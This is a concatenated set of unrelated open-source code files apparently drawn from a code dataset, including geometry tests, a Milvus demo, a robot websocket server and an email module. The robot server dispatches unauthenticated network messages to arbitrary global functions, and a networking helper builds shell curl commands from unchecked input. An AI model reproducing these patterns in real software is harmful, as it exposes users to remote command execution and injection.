(5.19624740770905, 44.20744798617616),\n (5.196301073780709, 44.205180098419376),\n (5.193132520720433, 44.20512807053881),\n (5.193078704737658, 44.207395924036454),\n ]\n\n # test with dem + geoid\n with tempfile.TemporaryDirectory(dir=temporary_dir()) as directory:\n shp = os.path.join(directory, \"envelope.gpkg\")\n\n geo_loader.image_envelope(\n conf,\n input_parameters.PRODUCT1_KEY,\n shp,\n dem=dem,\n geoid=static_conf.get_geoid_path(),\n )\n\n assert os.path.isfile(shp)\n poly, epsg = read_vector(shp)\n assert epsg == 4326\n assert list(poly.exterior.coords) == [\n (5.193406138843349, 44.20805805252155),\n (5.1965650939582435, 44.20809526197842),\n (5.196654349708835, 44.205901416036546),\n (5.193485218293437, 44.205842790578764),\n (5.193406138843349, 44.20805805252155),\n ]\n\n # test with dem\n # Note: as the geoid can't be reset, results should be identic\n # to the dem+geoid case.\n with tempfile.TemporaryDirectory(dir=temporary_dir()) as directory:\n shp = os.path.join(directory, \"envelope.gpkg\")\n\n geo_loader.image_envelope(\n conf,\n input_parameters.PRODUCT1_KEY,\n shp,\n dem,\n )\n\n assert os.path.isfile(shp)\n poly, epsg = read_vector(shp)\n assert epsg == 4326\n assert list(poly.exterior.coords) == [\n (5.193406138843349, 44.20805805252155),\n (5.1965650939582435, 44.20809526197842),\n (5.196654349708835, 44.205901416036546),\n (5.193485218293437, 44.205842790578764),\n (5.193406138843349, 44.20805805252155),\n ]\n\n # test image_envelope function defined in AbstractGeometry using the\n # OTBGeometry direct_loc\n\n with tempfile.TemporaryDirectory(dir=temporary_dir()) as directory:\n shp = os.path.join(directory, \"envelope.shp\")\n super(type(geo_loader), geo_loader).image_envelope(\n conf,\n input_parameters.PRODUCT1_KEY,\n shp,\n dem,\n geoid=static_conf.get_geoid_path(),\n )\n\n assert os.path.isfile(shp)\n\n poly, epsg = read_vector(shp)\n assert epsg == 4326\n assert list(poly.exterior.coords) == [\n (5.193406105041504, 44.20805740356445),\n (5.1965651512146, 44.20809555053711),\n (5.196654319763184, 44.205902099609375),\n (5.193485260009766, 44.205841064453125),\n (5.193406105041504, 44.20805740356445),\n ]\n\n\n@pytest.mark.unit_tests\ndef test_check_consistency():\n \"\"\"\n Test otb_can_open() with different geom configurations\n \"\"\"\n\n geo_loader = (\n AbstractGeometry( # pylint: disable=abstract-class-instantiated\n \"OTBGeometry\"\n )\n )\n\n # existing\n existing_with_geom = absolute_data_path(\"input/phr_ventoux/left_image.tif\")\n # existing with no geom file\n existing_no_geom = absolute_data_path(\"input/utils_input/im1.tif\")\n not_existing = \"/stuff/dummy_file.doe\"\n\n assert geo_loader.check_geom_consistency(existing_with_geom)\n assert not geo_loader.check_geom_consistency(existing_no_geom)\n assert not geo_loader.check_geom_consistency(not_existing)\n", "source": "CNES/cars", "license": "Apache-2.0"} {"text": "\"\"\"\nCreated: 21 May 2020\nAuthor: Jordan Prechac\n\"\"\"\n\nfrom .attribution import attributor\n\n# -----------------------------------------------------------------------------\n\n__all__ = [\n attributor,\n]\n", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "# This program demos how to use binary vectors in milvus.\nimport random\nimport sys\n\nimport numpy as np\n\nfrom milvus import *\n\nCOLLECTION_NAME = \"binary_collection\"\nDIM = 512\n\nCOLLECTION_PARAM = {\n # \"collection_name\": COLLECTION_NAME,\n \"dimension\": DIM,\n \"index_file_size\": 1024,\n # MetricType `HAMMING`, `JACCARD`, `TANIMOTO` are only used for binary vectors\n # \"metric_type\": MetricType.JACCARD\n}\n\n\ndef gen_vectors(dim, num):\n return [[random.randint(0, 255) for _ in range(dim)] for _ in range(num)]\n\n\n# gen binary vectors\ndef gen_binary_vectors(dim, num):\n # in binary vectors, a bit represent a dimension.\n # a value of `uint8` describe 8 dimension\n vectors = gen_vectors(dim // 8, num)\n data = np.array(vectors, dtype='uint8').astype(\"uint8\")\n\n # convert to bytes\n return [bytes(vector) for vector in data]\n\n\ndef main(collection_name, metric_type):\n client = Milvus(host=\"localhost\", port=\"19121\", handler=\"HTTP\")\n\n _, ok = client.has_collection(collection_name)\n\n if not ok:\n COLLECTION_PARAM[\"collection_name\"] = collection_name\n COLLECTION_PARAM[\"metric_type\"] = metric_type\n status = client.create_collection(COLLECTION_PARAM)\n if not status.OK():\n print(\"Create collection {} fail: {}\".format(collection_name, status))\n sys.exit(1)\n\n datas = gen_binary_vectors(DIM, 1000)\n status, _ = client.insert(collection_name, datas)\n if 0 != status.code:\n print(\"Insert binary vectors into collection {} failed: {}\".format(collection_name, status))\n exit(1)\n\n # Wait for 6 seconds, until Milvus server persist vector data.\n client.flush([collection_name])\n\n # select top 3 vectors for similarity search\n query_vectors = datas[0:3]\n\n # search param\n search_param = {\n \"nprobe\": 10\n }\n\n status, results = client.search(collection_name, top_k=2, query_records=query_vectors, params=search_param)\n if 0 != status.code:\n print(\"Search failed. reason:{}\".format(status.message))\n else:\n print(results)\n\n client.drop_collection(collection_name)\n\n\nif __name__ == '__main__':\n # Here is all binary metric type in list.\n binary_metrics = [MetricType.HAMMING, MetricType.JACCARD, MetricType.TANIMOTO,\n MetricType.SUBSTRUCTURE, MetricType.SUPERSTRUCTURE]\n\n for metric in binary_metrics:\n collection_name = \"{}_{}\".format(COLLECTION_NAME, metric.name)\n print(\"\\n\\n*** Collection: {} Metric: {} ***\\n\\n\".format(collection_name, metric))\n main(collection_name, metric)\n", "source": "hellysmile/pymilvus", "license": "Apache-2.0"} {"text": "import json\nimport re\nimport time\nfrom typing import ClassVar\nfrom typing import Tuple\nfrom urllib import error\nfrom urllib import request\n\n\nclass Networking:\n ports_list: ClassVar[Tuple[str, ...]] = (\"en0\", \"en1\") # Ethernet port and Wifi port.\n\n def __init__(self, executor):\n self.executor = executor\n\n def send_curl_request(self, request_):\n self.executor.execute(f\"curl {request_}\")\n\n @property\n def mac_address(self) -> str:\n _device = self.active_internet_device\n _mac_address_raw = self.executor.get_output(f\"networksetup -getmacaddress {_device}\")\n return (\n _mac_address_raw.replace(\"Ethernet Address: \", \"\")\n .replace(f\" (Device: {_device})\", \"\")\n .strip()\n )\n\n @property\n def active_internet_device(self) -> str:\n for device in self.network_service_order:\n _status = self.executor.get_output(f\"ifconfig {device} |grep status\").split(\": \")[-1]\n if _status == \"active\":\n return device\n\n @property\n def network_service_order(self):\n _network_service_order = self.executor.get_output(\"networksetup listnetworkserviceorder\")\n _devices = re.findall(r\"Device: \\w+-\\w+|Device: \\w+\", _network_service_order)\n _devices = [d.split(\": \")[-1] for d in _devices if \"en\" in d]\n return _devices\n\n def turn_internet_on(self):\n \"\"\"Wait until the Internet connection is established.\"\"\"\n for port in self.ports_list:\n self.executor.sudo(f\"ifconfig {port} up\")\n delta_time = time.time() + 30\n while time.time() < delta_time:\n try:\n resp = request.urlopen(\"https://apple.com\")\n if resp.code != 404:\n return\n except error.URLError:\n time.sleep(0.5)\n\n def turn_internet_off(self):\n for port in self.ports_list:\n self.executor.sudo(f\"ifconfig {port} down\")\n\n @property\n def ip_info(self) -> dict:\n \"\"\"Get external ip information from: ipinfo.io\n :return dict: {'ip': ..., 'hostname': ..., 'city': ..., 'region': ..., 'country': ...}\n \"\"\"\n for _ in range(5):\n try:\n return json.load(request.urlopen(\"https://ipinfo.io/json\"))\n except error.URLError:\n continue\n return dict()\n", "source": "andriykislitsyn/macuitest", "license": "MIT"} {"text": "# -*- coding: UTF-8 -*-\n''' \n A_____A\n / = . =\\< Developed by CKB >\n/ w \\\ncurrent version: 1.2\n\nupdate log:\nver 1.0 - initial release\nver 1.1 - fix weird acceleration\nver 1.2 - fix \"ball stuck in wall\" problem\n\nver 2.0 - MOAR BALLS\n\n'''\nfrom visual import *\nfrom visual.graph import *\n\n########important variables##########\nr = 0.05 #radius of ball\nN = 50\n\n#v = []\n#pos_arr = []\n#ball = []\n\n\n#####functions#####\ndef dist(x1,y1,x2,y2):\n return sqrt((x1-x2)**2+(y1-y2)**2)\ndef reflect(w,v): #ball hit wall\n '''\n w,v must be list/array/vector with \n '''\n w,v = vector(w),vector(v)\n f = vector(-w[1],w[0],0) \n unit_f=f/abs(f) \n re = v + abs(dot(v,f)/abs(f))*unit_f*2\n# return re\n#'''\n if abs(abs(re)-abs(v)) <= 0.001*abs(v):\n if dot(v,f)<0:\n return re\n else:\n #print('!!!!!!!!!!!!!!!!false hit!!!!!!!!!!!!!!!')\n return v\n else:\n #print(\"back hit\")\n w=-w\n f = vector(-w[1],w[0],0) \n unit_f=f/abs(f) \n if dot(v,f)<0:\n re = v + abs(dot(v,f)/abs(f))*unit_f*2\n return re\n else:\n #print('!!!!!!!!!!!!!!!!false hit!!!!!!!!!!!!!!!')\n return v\n#'''\ndef vcollision(a1p, a2p, a1v,a2v): #ball hit ball\n v1prime = a1v - (a1p - a2p) * sum((a1v-a2v)*(a1p-a2p)) / sum((a1p-a2p)**2)\n v2prime = a2v - (a2p - a1p) * sum((a2v-a1v)*(a2p-a1p)) / sum((a2p-a1p)**2)\n return v1prime, v2prime\n\ndef checkhit(w1,w2,b):\n wx1,wy1 = w1[0],w1[1]\n wx2,wy2 = w2[0],w2[1]\n bx ,by = b[0], b[1]\n area = 0.5*abs(wx1*wy2+wx2*by+bx*wy1-wy1*wx2-wy2*bx-by*wx1)\n wall = sqrt((wx1-wx2)**2+(wy1-wy2)**2)\n f = vector(-w[1],w[0],0) #\n \n if ((2*area/wall)<=r or (dist(bx,by,wx1,wy1)<=r or dist(bx,by,wx2,wy2)<=r)) and not(dist(bx,by,wx1,wy1)>wall or dist(bx,by,wx2,wy2)>wall):\n '''\n print(wall)\n print(dist(bx,by,wx1,wy1))\n print(dist(bx,by,wx2,wy2))\n #'''\n return True\n else: return False\n\n\n#initialize!\nscene = display(width=800, height=800,background=(0.0,0.0,0))\ngd = gdisplay(x=600,y=0,width=600,height=600,xtitle='t',\n foreground=color.black,background=color.white)\nf1 = gcurve(color=color.blue)\n\n#wall = [[22,-1],[15,-1],[10,-3],[0,-3],[0,3],[10,3],[15,1],[22,1]] #testing\nwall = [[2,2],[2,-2],[-2,-2],[-2,2],[2,2]] #square\n#wall = [[1,1],[1,0],[-1,-1],[-1,0],[1,2],[1,3]]\n#wall = [[780,0],[1150,-140],[1180,-130],[1170,-90],[970,0],[780,0]]\n#wall = [[0,60],[300,60],[850,240],[900,250],[940,220],[950,170],[940,130],[900,100],[730,60],[1170,40],\n# [1400,60],\n# [1400,0],[1070,0],[1200,-60],[1230,-90],[1240,-130],[1230,-170],[1180,-190],[1130,-180],[610,0],[300,20],\n# [0,0],[0,60]]\ncontainer = curve(pos=wall) \n\n\n#'''\nrandom.seed(1)\nv = random.uniform(-30,30,[N,3])\nfor i in range(len(v)):\n v[i][2] = 0\n #v[I][1] = 0\nfor i in range(len(wall)):\n wall[i] = vector(wall[i])\n\npos_arr = random.uniform(-2,2,(N,3))\nfor i in range(len(pos_arr)):\n pos_arr[i][2] = 0\n #pos_arr[i][0] = abs(pos_arr[i][0])\n\nball = [sphere(radius = r,make_trail=False,\n color=color.yellow) for i in range(N)]\n\nball[0].color = color.red\nball[0].make_trail = True\nfor i in range(N):\n ball[i].pos = vector(pos_arr[i])\n#'''\n\n#testing area \n\nrd = random.uniform(9,11)\nrdv= random.uniform(-1,1)\nrd2 =random.uniform(-3,3)\n#summon_ball((0,rd2,0),(rd,rdv,0))\n#main code\nt = 0\ndt =0.0005\ndts = 0\n\nwhile True:\n rate(500)\n t+=dt\n dts += 1\n '''\n if dts%10 == 0:\n rd = random.uniform(9,11)\n rdv= random.uniform(-1,1)\n rd2 =random.uniform(-3,3)\n summon_ball((0,rd2,0),(rd,rdv,0))\n #'''\n\n #plotting\n tmp = 0\n for i in range(len(v)):\n ab = mag(vector(v[i]))\n tmp += ab\n avg = tmp/len(v)\n f1.plot(pos = (t,avg))\n\n\n for j in range(N):\n for k in range(2):\n pos_arr[j][k] += v[j][k]*dt\n ball[j].pos = vector(pos_arr[j])\n #'''\n r_array = pos_arr-pos_arr[:,newaxis] # all pairs of atom-to-atom vectors\n rmag = sum(square(r_array),-1) # atom-to-atom distance squared\n hit = nonzero((rmag < 4*r**2) - identity(N))\n hitlist = zip(hit[0], hit[1]) \n for p,q in hitlist:\n if sum((pos_arr[p]-pos_arr[q])*(v[p]-v[q])) < 0 : # check if approaching\n v[p], v[q] = vcollision(pos_arr[p], pos_arr[q], v[p], v[q])\n #'''\n for i in range(len(wall)-1):\n w = wall[i]-wall[i+1]\n f = vector(-w[1],w[0]) #\n if checkhit(wall[i],wall[i+1],ball[j].pos) and dot([v[j][0],v[j][1],0],f)<0:\n #print(\"hit: wall %d and %d\"%(i,i+1))\n v[j] = reflect(wall[i]-wall[i+1],v[j])\n #print(t,abs(v))\n \n", "source": "ChenKB91/BouncyBall", "license": "MIT"} {"text": "from traits.api import Float\n\nfrom force_bdss.api import BaseDataSourceModel\n\nfrom surfactant_example.mco.driver_events import KPIProgressEvent\n\n\nclass CostDataSourceModel(BaseDataSourceModel):\n \"\"\"Class that calculates viscosity from Gromacs\n simulation results\"\"\"\n\n # Upper threshold for cost of formulation in $USD\n threshold = Float(0.0, desc='Upper cost threshold in $USD')\n\n def notify_pass_mark(self, pass_mark):\n \"\"\"Notify whether a simulation has produced an acceptable.\n property value. Assigns an `KPIProgressEvent` to the\n `event` attribute on associated\n `CostDataSourceModel`. By doing so it can be picked\n up by the `SurfactantMCO` and passed onto any\n `NotificationListeners` present.\n\n Parameters\n ----------\n pass_mark: bool\n A string containing the constructed\n bash script to run a Gromacs experiment.\n \"\"\"\n\n if pass_mark:\n value = 'PASS'\n else:\n value = 'FAIL'\n\n self.notify(\n KPIProgressEvent(\n name='cost_pass',\n value=value\n )\n )\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"} {"text": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2018 CERN.\n#\n# invenio-app-ils is free software; you can redistribute it and/or modify it\n# under the terms of the MIT License; see LICENSE file for more details.\n\n\"\"\"Search utilities.\"\"\"\n\nfrom invenio_search.api import RecordsSearch\n\n\nclass DocumentSearch(RecordsSearch):\n \"\"\"RecordsSearch for documents.\"\"\"\n\n class Meta:\n \"\"\"Search only on documents index.\"\"\"\n\n index = \"documents\"\n doc_types = None\n\n\nclass ItemSearch(RecordsSearch):\n \"\"\"RecordsSearch for items.\"\"\"\n\n class Meta:\n \"\"\"Search only on items index.\"\"\"\n\n index = \"items\"\n doc_types = None\n\n def search_by_document_pid(self, document_pid=None):\n \"\"\"Retrieve items based on the given document pid.\"\"\"\n search = self\n\n if document_pid:\n search = search.filter(\"term\", document_pid=document_pid)\n else:\n raise ValueError(\"Must specify document_pid param\")\n\n return search\n\n\nclass LocationSearch(RecordsSearch):\n \"\"\"RecordsSearch for locations.\"\"\"\n\n class Meta:\n \"\"\"Search only on locations index.\"\"\"\n\n index = \"locations\"\n doc_types = None\n\n\nclass InternalLocationSearch(RecordsSearch):\n \"\"\"RecordsSearch for internal locations.\"\"\"\n\n class Meta:\n \"\"\"Search only on internal locations index.\"\"\"\n\n index = \"internal_locations\"\n doc_types = None\n", "source": "kpsherva/invenio-app-ils", "license": "MIT"} {"text": "cities = [\n 'Rome',\n 'Milan',\n 'Naples',\n 'Turin',\n 'Palermo',\n 'Genoa',\n 'Bologna',\n 'Florence',\n 'Catania',\n 'Bari',\n 'Messina',\n 'Verona',\n 'Padova',\n 'Trieste',\n 'Brescia',\n 'Prato',\n 'Taranto',\n 'Reggio Calabria',\n 'Modena',\n 'Livorno',\n 'Cagliari',\n 'Mestre',\n 'Parma',\n 'Foggia',\n \"Reggio nell'Emilia\",\n 'Acilia-Castel Fusano-Ostia Antica',\n 'Salerno',\n 'Perugia',\n 'Monza',\n 'Rimini',\n 'Pescara',\n 'Bergamo',\n 'Vicenza',\n 'Bolzano',\n 'Andria',\n 'Udine',\n 'Siracusa',\n 'Terni',\n 'Forli',\n 'Novara',\n 'Barletta',\n 'Piacenza',\n 'Ferrara',\n 'Sassari',\n 'Ancona',\n 'La Spezia',\n 'Torre del Greco',\n 'Como',\n 'Lucca',\n 'Ravenna',\n 'Lecce',\n 'Trento',\n 'Giugliano in Campania',\n 'Busto Arsizio',\n 'Lido di Ostia',\n 'Cesena',\n 'Catanzaro',\n 'Brindisi',\n 'Marsala',\n 'Treviso',\n 'Pesaro',\n 'Pisa',\n 'Varese',\n 'Sesto San Giovanni',\n 'Arezzo',\n 'Latina',\n 'Gela',\n 'Pistoia',\n 'Caserta',\n 'Cinisello Balsamo',\n 'Lamezia Terme',\n 'Altamura',\n 'Guidonia Montecelio',\n \"Quartu Sant'Elena\",\n 'Pavia',\n 'Castellammare di Stabia',\n 'Massa',\n 'Alessandria',\n 'Cosenza',\n 'Afragola',\n 'Ragusa',\n 'Asti',\n 'Grosseto',\n 'Cremona',\n 'Molfetta',\n 'Trapani',\n 'Carrara',\n 'Casoria',\n 'Savona',\n 'Vigevano',\n 'Legnano',\n 'Caltanissetta',\n 'Potenza',\n 'Portici',\n 'Matera',\n 'San Severo',\n 'Cerignola',\n 'Trani',\n 'Bisceglie',\n 'Acerra',\n 'Ercolano',\n 'Carpi Centro',\n 'Imola',\n 'Bagheria',\n 'Manfredonia',\n 'Aversa',\n 'Bitonto',\n 'Venice',\n 'Vittoria',\n 'Gallarate',\n 'Marano di Napoli',\n 'Pordenone',\n 'Acireale',\n 'Scafati',\n 'Moncalieri',\n 'Viareggio',\n 'Benevento',\n 'Crotone',\n 'Velletri',\n 'Cava De Tirreni',\n 'Avellino',\n 'Foligno',\n 'Nichelino',\n 'Civitavecchia',\n 'Viterbo',\n 'Battipaglia',\n 'Rho',\n 'San Remo',\n 'Lecco',\n 'Collegno',\n 'Corato',\n 'Cuneo',\n 'Paderno Dugnano',\n 'Rivoli',\n 'Paterno',\n 'Montesilvano Marina',\n 'Mazara del Vallo',\n 'San Benedetto del Tronto',\n 'Casalnuovo di Napoli',\n 'Cologno Monzese',\n 'Sesto Fiorentino',\n 'Vercelli',\n 'Pozzuoli',\n 'Misterbianco',\n 'San Giorgio a Cremano',\n 'Anzio',\n 'Nocera Inferiore',\n 'Scandicci',\n 'Nettuno',\n 'Frosinone',\n 'Chieti',\n 'Alcamo',\n 'Settimo Torinese',\n 'Torre Annunziata',\n 'Biella',\n 'Olbia',\n 'Siena',\n 'Seregno',\n 'Gravina in Puglia',\n 'Chioggia',\n 'Ascoli Piceno',\n 'Faenza',\n 'Civitanova Marche',\n 'Modica',\n 'Capannori',\n 'Aprilia',\n 'Lodi',\n 'Cascina',\n 'Desio',\n 'Marcianise',\n 'Nicastro',\n 'Rozzano',\n 'Campobasso',\n 'Rovigo',\n 'Mantova',\n 'Rieti',\n 'Fano',\n \"Pomigliano d'Arco\",\n 'Imperia',\n 'Bassano del Grappa',\n 'Saronno',\n 'Marino',\n 'Avezzano',\n 'Monopoli',\n 'Martina Franca',\n 'Quarto',\n 'Lissone',\n 'Cantu',\n 'Monterotondo',\n 'Cesano Maderno',\n 'Jesi',\n 'Melito di Napoli',\n 'Sassuolo',\n 'Sciacca',\n 'Licata',\n 'Modugno',\n 'Teramo',\n 'Voghera',\n 'Nuoro',\n 'Caltagirone',\n 'Bollate',\n 'Ciampino',\n 'Carini',\n 'Arzano',\n 'Gorizia',\n 'Caivano',\n 'Barcellona Pozzo di Gotto',\n 'Fiumicino-Isola Sacra',\n 'Maddaloni',\n 'Adrano',\n 'Empoli',\n 'Alghero',\n 'Mugnano di Napoli',\n 'Ladispoli',\n 'Pioltello',\n 'Rovereto',\n 'Casalecchio di Reno',\n 'Schio',\n \"L'Aquila\",\n 'Corsico',\n \"Sant'Antimo\",\n 'Venaria Reale',\n 'Merano',\n 'Francavilla Fontana',\n 'Grugliasco',\n 'Brugherio',\n 'Canicatti',\n 'Mira Taglio',\n 'Campi Bisenzio',\n 'Pagani',\n 'San Dona di Piave',\n 'Riccione',\n 'Casal Palocco',\n 'Agrigento',\n 'Somma Vesuviana',\n 'Aosta',\n 'Lucera',\n 'Chieri',\n 'Favara',\n 'Limbiate',\n 'Milazzo',\n 'Santa Maria Capua Vetere',\n 'Angri',\n 'Crema',\n 'Grottaglie',\n 'Casale Monferrato',\n 'Verbania',\n 'San Giuliano Milanese',\n 'Termoli',\n 'Terracina',\n 'Senigallia',\n 'Massafra',\n 'Pinerolo',\n 'Macerata',\n 'Conegliano',\n 'Augusta',\n 'Lanciano',\n 'Abbiategrasso',\n 'Vasto',\n 'Piombino',\n 'Canosa di Puglia',\n 'Mascalucia',\n 'Marigliano',\n 'Frattamaggiore',\n 'San Paolo',\n 'Nardo',\n 'Monterusciello',\n 'Gragnano',\n 'Cernusco sul Naviglio',\n 'Pallanza-Intra-Suna',\n 'Sarno',\n 'Partinico',\n 'Avola',\n 'Formia',\n 'San Donato Milanese',\n 'Segrate',\n 'Castelvetrano',\n 'Manduria',\n 'Cisterna di Latina',\n 'Rapallo',\n 'Niscemi',\n 'San Giuseppe Vesuviano',\n 'Boscoreale',\n 'Triggiano',\n 'Camaiore',\n 'Monfalcone',\n 'Albano Laziale',\n 'Montebelluna',\n 'Fondi',\n 'Chiavari',\n 'Gravina di Catania',\n 'Mesagne',\n 'San Miniato Basso',\n 'Parabiago',\n 'Formigine',\n 'Comiso',\n 'Eboli',\n 'San Giovanni Rotondo',\n 'Romano Banco',\n 'Mondragone',\n 'Garbagnate Milanese',\n 'Novi Ligure',\n 'Falconara Marittima',\n 'Terlizzi',\n 'Bresso',\n 'Bacoli',\n 'Castelfranco Veneto',\n 'Assemini',\n 'Villaricca',\n 'Belluno',\n 'Lainate',\n 'Marina di Carrara',\n 'Treviglio',\n 'Alba',\n 'Santeramo in Colle',\n 'Vittorio Veneto',\n 'Orta di Atella',\n 'Mola di Bari',\n 'Bagnoli',\n 'Aci Catena',\n 'Oristano',\n 'Giussano',\n 'Gioia del Colle',\n 'Ostuni',\n 'Giarre',\n 'Lentini',\n 'Nola',\n 'Bra',\n 'Ruvo di Puglia',\n 'Pompei',\n 'Casa Santa',\n 'Rossano Stazione',\n 'Sora',\n 'Qualiano',\n 'Lumezzane',\n 'Spinea-Orgnano',\n 'Putignano',\n 'Seriate',\n 'Copertino',\n 'Nocera Superiore',\n 'Ottaviano',\n 'Cesano Boscone',\n 'Selargius',\n 'Ivrea',\n 'Fabriano',\n 'San Sebastiano',\n 'Muggio',\n 'Biancavilla',\n 'Chivasso',\n 'Carmagnola',\n 'Enna',\n 'Termini Imerese',\n 'Volla',\n 'Quattromiglia',\n 'Dalmine',\n 'Tortona',\n 'Seveso',\n 'Vimercate',\n 'Desenzano del Garda',\n 'Meda',\n 'Conversano',\n 'Iglesias',\n 'Palma di Montechiaro',\n 'Mariano Comense',\n 'Fasano',\n 'Magenta',\n 'Valdagno',\n 'Citta di Castello',\n 'Vignola',\n 'San Lazzaro',\n 'Pomezia',\n 'Nova Milanese',\n 'Cardito',\n \"Porto Sant'Elpidio\",\n 'Floridia',\n 'San Cataldo',\n 'San Giovanni la Punta',\n 'Cecina',\n 'Tivoli',\n 'Mogliano Veneto',\n 'Noicattaro',\n 'Monreale',\n 'Fidenza',\n 'Castel Volturno',\n 'Mondovi',\n 'Orbassano',\n 'Poggibonsi',\n 'Carbonia',\n 'Porto Torres',\n 'Legnago',\n 'Lugo',\n 'Arzignano',\n 'Cassano Magnago',\n 'Follonica',\n 'San Nicola la Strada',\n 'Thiene',\n 'Francavilla al Mare',\n 'Sulmona',\n 'Cassino',\n 'Guidonia'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"} {"text": "# Create your tests here.\nimport datetime\n\nfrom django.test import TestCase\n\nfrom eviteapi.models import Event\n\n\nclass EventTestCase(TestCase):\n def testPost(self):\n event = Event(event_id=\"evt100001\", name=\"Test Event\", location=\"Tokyo\", start_time=datetime.datetime.now(),\n end_time=datetime.datetime.now() + datetime.timedelta(days=1, hours=3))\n self.assertEqual(event.event_id, \"evt100001\")\n self.assertEqual(event.name, \"Test Event\")\n self.assertEqual(event.location, \"Tokyo\")\n", "source": "rasselict07/Evite", "license": "MIT"} {"text": "# 01234567890123456789012345\nletters = \"abcdefghijklmnopqrstuvwxyz\"\n\nbackwards = letters[25:0:-1]\n# if I want to print z...a then in line 4 I should write : backwards = letters[25::-1], so the slicing starts printing from 25 backwards to the start INCLUDING the start\n\n# create a slice that produces the characters qpo\nprint(letters[16:13:-1])\n\n# slice the string to produce edcba\nprint(letters[4::-1])\n\n# slice the string to produce the last 8 characters, in reverse order\nprint(letters[25:17:-1])\n# also I could write print(letters[:-9:-1])\n\nprint(backwards)\n\nprint(letters[-4:])\nprint(letters[-1:])\nprint(letters[:1])\nprint(letters[0])\n", "source": "christostsekouronas/learnpython", "license": "MIT"} {"text": "#!/usr/bin/env python3\nfrom ev3dev2.display import Display\nfrom ev3dev2.button import Button\nfrom ev3dev2.sound import Sound\nfrom ev3dev2.led import Leds\nfrom ev3dev2.sensor.lego import *\nfrom ev3dev2.motor import *\nimport math\nimport tornado.web\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.websocket\nimport tornado.options\nimport json\n\nfrom time import sleep, time\nfrom PIL import Image\nfrom io import BytesIO\nfrom threading import Thread\nimport re\n\nbtn = Button()\nsound = Sound()\nlcd = Display()\nleds = Leds()\nlm = LargeMotor()\nupdated = False\n\n\ndef imgFromBase64(str, x=0, y=0):\n image_data = re.sub('^data:image/.+;base64,', '', str).decode('base64')\n im = Image.open(BytesIO(image_data))\n lcd.image.paste(im, (x, y))\n updated = True\n\n\ndef imgFromFile(path, x=0, y=0):\n im = Image.open(path)\n lcd.image.paste(im, (x, y))\n updated = True\n\n\ndef beep():\n sound.beep()\n\n\ndef tone(tone):\n sound.play_tone(tone)\n\n\ndef sequence(seq):\n sound.tone(seq)\n\n\ndef playFile(path):\n sound.play(path)\n\n\ndef talk(txt):\n sound.speak(txt)\n\n\ndef ledsOff():\n leds.all_off()\n\n\ndef setRight(c):\n leds.set_color('RIGHT', c)\n\n\ndef setLeft(c):\n leds.set_color('LEFT', c)\n\n\ndef setBoth(c):\n setLeft(c)\n setRight(c)\n\n\ndef tick():\n if(updated):\n lcd.update()\n\n\nLISTEN_PORT = 8000\nLISTEN_ADDRESS = '0.0.0.0'\n\n\nclass ChannelHandler(tornado.websocket.WebSocketHandler):\n \"\"\"\n Handler that handles a websocket channel\n \"\"\"\n @classmethod\n def urls(cls):\n return [\n (r'/ws/control', cls, {}), # Route/Handler/kwargs\n ]\n\n def initialize(self):\n self.channel = None\n\n def open(self, channel):\n \"\"\"\n Client opens a websocket\n \"\"\"\n self.channel = channel\n\n def on_message(self, message):\n if message == \"ping\":\n self.write_message(\"pong\")\n return \"pong\"\n obj = json.load(message)\n\n ret = globals()[obj[\"name\"]](obj[\"arg\"])\n if ret is None:\n return\n ret = json.dumps(ret)\n self.write_message(ret)\n \"\"\"\n Message received on channel\n \"\"\"\n\n def on_close(self):\n \"\"\"\n Channel is closed\n \"\"\"\n\n def check_origin(self, origin):\n \"\"\"\n Override the origin check if needed\n \"\"\"\n return True\n\n\ndef main(opts):\n # Create tornado application and supply URL routes\n app = tornado.web.Application(ChannelHandler.urls())\n\n # Setup HTTP Server\n http_server = tornado.httpserver.HTTPServer(app)\n http_server.listen(LISTEN_PORT, LISTEN_ADDRESS)\n\n # Start IO/Event loop\n tornado.ioloop.IOLoop.instance().start()\n\n\nif __name__ == '__main__':\n main()\n", "source": "bru02/ev3dev-cod3r", "license": "MIT"} {"text": "import datetime\nimport os\nimport smtplib\nfrom email.message import EmailMessage\nfrom os.path import join as path_join\n\nimport mistune\nfrom bs4 import BeautifulSoup\nfrom click import UsageError\nfrom colorama import Fore, Style\nfrom humanize import naturaldelta\nfrom jinja2 import Template\nfrom premailer import transform\nfrom pygments import highlight\nfrom pygments.formatters import html\nfrom pygments.lexers import get_lexer_by_name\n\nfrom event_manager import BASEDIR, WARN, send_to, session_factory\nfrom event_manager.models import Event\n\ntry:\n EMAIL_ADDRESS = os.environ['EMAIL']\n EMAIL_PASSWORD = os.environ['PASSWORD']\nexcept KeyError:\n EMAIL_PASSWORD = None\n EMAIL_ADDRESS = None\n print((f'{Fore.LIGHTYELLOW_EX}[WARNING]: `EMAIL` or `PASSWORD`'\n f' environment variables not found.'\n f' These are needed in order to send emails.{Style.RESET_ALL}'))\n\n\nclass HighlightRenderer(mistune.HTMLRenderer):\n def block_code(self, code, lang=None):\n if lang:\n lexer = get_lexer_by_name(lang, stripall=True)\n formatter = html.HtmlFormatter()\n return highlight(code, lexer, formatter)\n return '
    ' + mistune.escape(code) + '
    '\n\n\ndef send_mail(id):\n if not send_to:\n raise UsageError(WARN)\n if not (EMAIL_ADDRESS and EMAIL_PASSWORD):\n raise UsageError('`EMAIL` or `PASSWORD`'\n ' environment variables not found.'\n ' These are needed in order to send emails.')\n session = session_factory()\n content = session.query(Event).filter_by(id=id).first()\n\n if content is None:\n raise UsageError(f'No event with ID : {id}')\n\n _send_mail(content.title, content.html,\n send_to=send_to)\n session.close()\n\n\ndef _send_mail(title, html, send_to):\n msg = EmailMessage()\n msg['Subject'] = title\n msg['From'] = EMAIL_ADDRESS\n msg['To'] = send_to\n msg.add_header('Content-Type', 'text/html')\n\n msg.set_content(html, subtype='html')\n\n with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:\n smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)\n smtp.send_message(msg)\n\n\ndef parse_markdown(content):\n body = content.long_description\n title = content.title\n date_created = content.date_created\n short_description = content.short_description\n # Calculate time since event in human readable format\n time_since = datetime.date.today() - date_created\n time_since = naturaldelta(time_since)\n\n plugins = ['strikethrough', 'footnotes',\n 'table', 'url', 'task_lists']\n\n print('Parsing Markdown...')\n 